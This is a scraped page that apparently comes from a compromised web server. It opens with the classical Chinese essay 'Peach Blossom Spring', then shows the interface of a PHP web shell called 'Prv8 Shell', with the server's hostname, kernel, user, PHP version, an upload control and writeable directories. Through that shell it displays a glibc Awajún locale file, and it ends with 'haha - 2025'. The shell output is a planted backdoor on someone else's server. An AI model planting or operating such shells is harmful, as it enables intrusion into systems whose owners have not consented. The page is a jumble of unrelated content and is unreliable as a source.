晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /usr/share/i18n/locales/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/share/i18n/locales/agr_PE
comment_char %
escape_char /

% This file is part of the GNU C Library and contains locale data.
% The Free Software Foundation does not claim any copyright interest
% in the locale data contained in this file.  The foregoing does not
% affect the license of the GNU C Library as a whole.  It does not
% exempt you from the conditions of the license if your use would
% otherwise be governed by that license.

%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%
% Awajún / Aguaruna (agr) language locale for Peru
%
% Prepared and contributed to glibc by Chris Leonard <cjl@sugarlabs.org> and
% Sebastian Silva <sebastian@fuentelibre.org>
%
% This locale data has been developed in collaboration between:
% Sugar Labs,  http://www.sugarlabs.org/
% One Laptop Per Child, http://one.laptop.org/
% Somos Azúcar. http://somosazucar.org/
%
% Los autores desean agradecer a los desafíos de la clasificación de las lenguas andinas
% con los códigos ISO-639 disponibles en la actualidad y su disposición a trabajar con
% todos los interesados en mejorar la representación de todas las lenguas andinas.
%
% build with: localedef -f UTF-8 -i agr_PE agr_PE
%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%

LC_IDENTIFICATION
title        "Awaj<U00FA>n (agr) locale for Peru"
source       "somosazucar.org"
address      ""
contact      ""
email        "libc-alpha@sourceware.org"
tel          ""
fax          ""
language     "Aguaruna"
territory    "Peru"
revision     "1.0"
date         "2016-08-20"
%
category "i18n:2012";LC_IDENTIFICATION
category "i18n:2012";LC_CTYPE
category "i18n:2012";LC_COLLATE
category "i18n:2012";LC_TIME
category "i18n:2012";LC_NUMERIC
category "i18n:2012";LC_MONETARY
category "i18n:2012";LC_PAPER
category "i18n:2012";LC_MEASUREMENT
category "i18n:2012";LC_MESSAGES
category "i18n:2012";LC_NAME
category "i18n:2012";LC_ADDRESS
category "i18n:2012";LC_TELEPHONE
END LC_IDENTIFICATION

LC_CTYPE
copy "es_ES"
END LC_CTYPE

LC_COLLATE
copy "iso14651_t1"
END LC_COLLATE

LC_TIME
mon  "Petsatin";/
     "Kupitin";/
     "Uyaitin";/
     "Tayutin";/
     "Kegketin";/
     "Tegmatin";/
     "Kuntutin";/
     "Yagkujutin";/
     "Daiktatin";/
     "Ipamtatin";/
     "Shinutin";/
     "Sakamtin"
abmon  "Pet";/
       "Kup";/
       "Uya";/
       "Tay";/
       "Keg";/
       "Teg";/
       "Kun";/
       "Yag";/
       "Dait";/
       "Ipam";/
       "Shin";/
       "Sak"
day  "Tuntuamtin";/
     "Achutin";/
     "Kugkuktin";/
     "Saketin";/
     "Shimpitin";/
     "Imaptin";/
     "Bataetin"
abday  "Tun";"Ach";"Kug";"Sak";"Shim";"Im";"Bat"
% Abbreviated date and time representation to be referenced by the "%c" field descriptor -
%
% "%a" (short weekday name),
% "%d" (day of month as a decimal number),
% "%b" (short month name),
% "%Y" (year with century as a decimal number),
% "%T" (24-hour clock time in format HH:MM:SS),
% "%Z" (Time zone name)
d_t_fmt       "%a %d %b %Y %T %Z"

% Date representation to be referenced by the "%x" field descriptor -
% "%d/%m/%Y", day/month/year as decimal numbers (01/01/2000).
d_fmt         "%d//%m//%y"

% Time representation to be referenced by the "%X" field descriptor -
% "%T" (24-hour clock time in format HH:MM:SS)
t_fmt       "%T"

% Define representation of ante meridian and post maritime strings -
% The "" mean 'default to "AM" and "PM".
am_pm       "VM";"NM"

t_fmt_ampm    "%I:%M:%S %p"

% Date representation not described in ISO/IEC 14652. Comes out as -
% "%a %b %e %H:%M:%S %Z %Y" which is default "date" command output
%
% %a - abbreviated weekday name,
% %b - abbreviated month name,
% %e - day of month as a decimal number with leading space (1 to 31),
% %H - hour (24-hour clock) as a decimal number (00 to 23),
% %M - minute as a decimal number (00 to 59),
% %S - seconds as a decimal number (00 to 59),
% %Z - time-zone name,
% %Y - year with century as a decimal number,e.g. 2001.
date_fmt    "%a %b %e %H:%M:%S %Z %Y"
week    7;19971130;7
first_weekday 1
first_workday 2
END LC_TIME

LC_NUMERIC
copy "es_PE"
END LC_NUMERIC

LC_MONETARY
copy "es_PE"
END LC_MONETARY

LC_PAPER
copy "es_PE"
END LC_PAPER

LC_MEASUREMENT
copy "es_PE"
END LC_MEASUREMENT

LC_MESSAGES
yesexpr "^[+1eEsSyY]"
noexpr  "^[-0aAnN]"
yesstr  "ehe"
nostr   "atsa"
END LC_MESSAGES

LC_NAME
copy "es_PE"
END LC_NAME

LC_ADDRESS
postal_fmt    "%f%N%a%N%d%N%b%N%s %h %e %r%N%z %T%N%c%N"
country_name  "Per<U00FA>"
country_ab2   "PE"
country_ab3   "PER"
country_num   604
country_car   "PE"
% Awajún
lang_name     "Awaj<U00FA>n"
% ISO-639-1
lang_ab      ""
% ISO-639-2
lang_term    ""
% ISO-639-3
lang_lib    "agr"
END LC_ADDRESS

LC_TELEPHONE
copy "es_PE"
END LC_TELEPHONE

haha - 2025